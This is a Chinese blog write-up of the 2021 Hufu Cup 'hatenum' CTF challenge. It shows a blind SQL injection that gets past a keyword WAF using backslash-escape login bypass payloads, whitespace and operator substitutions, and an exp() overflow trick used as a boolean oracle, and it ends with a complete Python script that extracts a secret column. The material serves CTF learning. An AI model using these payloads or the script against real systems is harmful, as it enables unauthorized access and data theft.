• 2021 虎符杯hate num 注入题


    前言

    今天遇到个有意思的SQL盲注,花了不少功夫,也学到了新姿势,遂记录下来以备后续碰到相同场景使用。

    题目

    这是2021 虎符杯的一道web题,有一个目标站点且附带了源码。

    源码内容包括:

    image-20220329105257762

    主要逻辑在login.php 与config.php,删去多余代码,主要功能在登陆上。

    前端登录表单会发送给login.php处理:

    image-20220329105500765

    然后所有的post参数会交给config.php 中的array_waf去做处理.

    image-20220325144828634

    array_waf 是一个递归检测的waf,检测是否包含sql_waf 和 num_waf 在内的规则,符合规则直接退出。

    经过检测后会进入config.php 中的login函数进行数据库查询。

    image-20220325165251884

    可以看到login函数直接将参数拼接到了sql语句上,很明显的sql注入,且返回只有error、success、fail状态。 success的状态下会进入home.php 拿到flag。

    image-20220325165434872

    拿到题目,逻辑比较清晰,绕过waf进行sql注入,按照原始的登陆逻辑,我们需要知道正确的username、password以及code值,通过sql注入绕过用户名及密码检测逻辑及知道code值

    image-20220325165643880

    解题

    绕过账密检测

    $sql = "select * from users where username='$username' and password='$password'";
    		$res = $this->conn->query($sql);
    

    image-20220328102922318

    根据这个sql拼接的方式绕过账密检测还是很简单的,因为sql_waf中限制',所以下面的payload就可以绕过账密检测。

    username=admin\
    password=||1#
    select * from users where username='admin\' and password='||1#'
    

    绕过code检测

    image-20220328104447542

    因为在login逻辑中有对code值进行单独校验的部分,所以我们还需要利用上面的sql注入注出code的具体值。因为返回只有login fail、error两个结果,所以是个布尔盲注。

    但盲注的大部分关键词都被waf限制,所以关键点就是绕waf。

    sql_waf
    if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
    		die('Hack detected');
    }
    

    重点来看下sql_waf, 因为返回的内容有限,所以只能使用布尔盲注,而盲注通常会用到几个关键关键字:字符串截取类(substr、left、right、mid)、条件判断类(if)、语句分割类(空格、/**/)、逻辑运算类(and、or)。

    一个盲注的payload: if(substr(database(),1,1)="t",1,0);

    但很遗憾waf里面基本这些常用的都被禁用了,所以只能分别寻求替代

    字符串截取类

    禁用:substr、left、right、mid

    绕过: like、rlike、inst

    除开上面这些其实还可以使用 like、rlike、instr等

    其中like与rlike的区别是 rlike支持正则表达式而like只支持如%,_等有限的通配符,like可以近似于"="

    语句分割

    禁用: 空格、\r(%0d)、\n(%0a)、\t(%09)\、/**/

    语句之间分割常常使用空格

    绕过: %a0(&nbsp)、%0b(垂直制表符)、%0c(换页符)

    逻辑运算

    禁用: and、or、=、>、<、regexp

    绕过: &&、||、 like、greatest、least

    条件判断

    禁用: 因为禁用了,,所以if 语句没发使用

    绕过: exp

    EXP函数(本篇文章精髓)

    这里重点其实就是exp函数,在sql注入里面exp函数一般被用做报错注入(mysql<5.5.53)里面输出报错信息。

    如:

    select exp(~(select*from(select user())x))
    

    image-20220328174317210

    利用的是Double 溢出,exp(x) 含义为ex ,当x>709时就超过了double的取值范围造成报错。:

    image-20220328175001248

    而例子中把字查询按位取反就能得到远大于709的值,报错就会把子查询内容显出出来。

    其实除了能用在报错注入以外,利用exp在参数大于709时会报错的特性可以用来构造条件判断语句。

    select exp(710 - expr)
    

    在上面sql语句中 expr 若为 true 等价于0 则 语句就会报错(exp(710)),若expr 为false 等价于0 则语句正常执行。

    code 注入

    有了前面所有的绕过,就能构造语句进行code值注入了。

    1. 判断code 长度:
    ||exp(710-((length(code))like({x})))
    
    2. 猜解code字段具体值
    ||exp(710-((code)rlike(0x{reg_str})))#
    

    因为' 被过滤,所以rlike后面不能出现字符串,需要 将正则表达式 ^xxx 转换成十六进制。

    3. 绕过num_waf

    image-20220328182729055

    这里面还有一个坑,num_waf 有个判断十六进制位数不能超过9位,既字符串不能超过4位,所以在包含正则^以外的字符串超过3位时需要 不断做替换,用3位字符串去匹配下一位。

    逻辑很简单,需要花点心思去编码,

    总结

    如果有waf 限制了if 的使用,特殊情况下可以考虑通过exp函数来绕过。

    image-20220328191007231

    代码

    """
    ctfhub hatenum 盲注脚本
    """
    import requests
    from loguru import logger
    
    target = "http://challenge-732f479a63a3f952.sandbox.ctfhub.com:10800/login.php"
    s = requests.session()
    code_column_length = 0
    
    
    def guess_length():
        """
        猜解 code 字段长度
        :return: 
        """
        global code_column_length
        for x in range(1, 100):
            payload = f"||exp(710-((length(code))like({x})))#"
            if my_request(payload_tamper(payload)):
                code_column_length = x
                break
        logger.info(f"code的长度为:{code_column_length}")
    
    
    def guess_code_str():
        """
        实际猜解 code 字符串内容
        :return: 
        """
        code_str = ""
        tmp_str = ""
        waf = False
        for line_index in range(code_column_length):
            logger.info(f"{line_index} - tmp_str - {tmp_str}")
            if len(tmp_str) > 2:
                logger.debug("超长了")
                logger.debug(f"压缩前 {tmp_str}")
                tmp_str = tmp_str[len(tmp_str)-2:]
                logger.debug(f"压缩后 {tmp_str}")
                waf = True
            for x in range(48, 128):
                if x in [63, 95, 124]:
                    continue
                o_str = f"^{tmp_str}{chr(x)}"
                if waf:
                    o_str = f"{tmp_str}{chr(x)}"
    
                reg_str = o_str.encode().hex()
                logger.debug(f"{x}-{chr(x)}-{o_str}")
                payload = f"||exp(710-((code)rlike(0x{reg_str})))#"
                if my_request(payload_tamper(payload)):
                    tmp_str += chr(x)
                    code_str += chr(x)
                    logger.info(code_str)
                    break
        logger.info(code_str)
    
    
    def response_check(rs):
        """
        布尔 banner 判断
        :param rs:
        :return:
        """
        logger.debug(rs.text)
        if "error" in rs.text:
            return False
        elif "detected" in rs.text:
            logger.error(rs.text)
            exit("waf")
        return True
    
    
    def payload_tamper(payload: str):
        """绕过过滤"""
        return payload
        # return payload.replace(" ", "%a0")
    
    
    def my_request(password):
        """请求封装"""
        logger.debug(f"payload:{password}")
        username = "admin\\"
        code = "1"
        p_data = gen_post_data(username, password, code)
        rs = s.post(url=target, data=p_data, headers={'Content-Type': "application/x-www-form-urlencoded"}
                    , proxies={"http": "http://127.0.0.1:8088"}, allow_redirects=False)
        if response_check(rs):
            return True
        return False
    
    
    def gen_post_data(username, password, code):
        """post 内容组装"""
        data = dict()
        data["username"] = username
        data["password"] = password
        data["code"] = code
        # 手动构造避免自动 urlencode
        return f"username={username}&password={password}&code={code}"
    
    
    def run():
        guess_length()  # 先猜测code长度
        guess_code_str()  # 根据长度猜测内容
    
    
    if __name__ == '__main__':
        run()
    
    

    公众号

    欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!

  • 相关阅读:
    Android Apk获取包名和Activity名称
    SoupUI接口测试学习分享
    Android 手机自动化测试工具有哪几种?
    SVN和CVS的区别
    名词
    本地解析地址步骤
    python3.6.1+selenium3.0环境安装问题及解决方法
    简述企业信息化与企业架构关系
    企业架构实践的线下公开课学习感悟
    golang 12.9 go mod 实践
  • 原文地址:https://www.cnblogs.com/9eek/p/16070852.html
Copyright © 2020-2023  润新知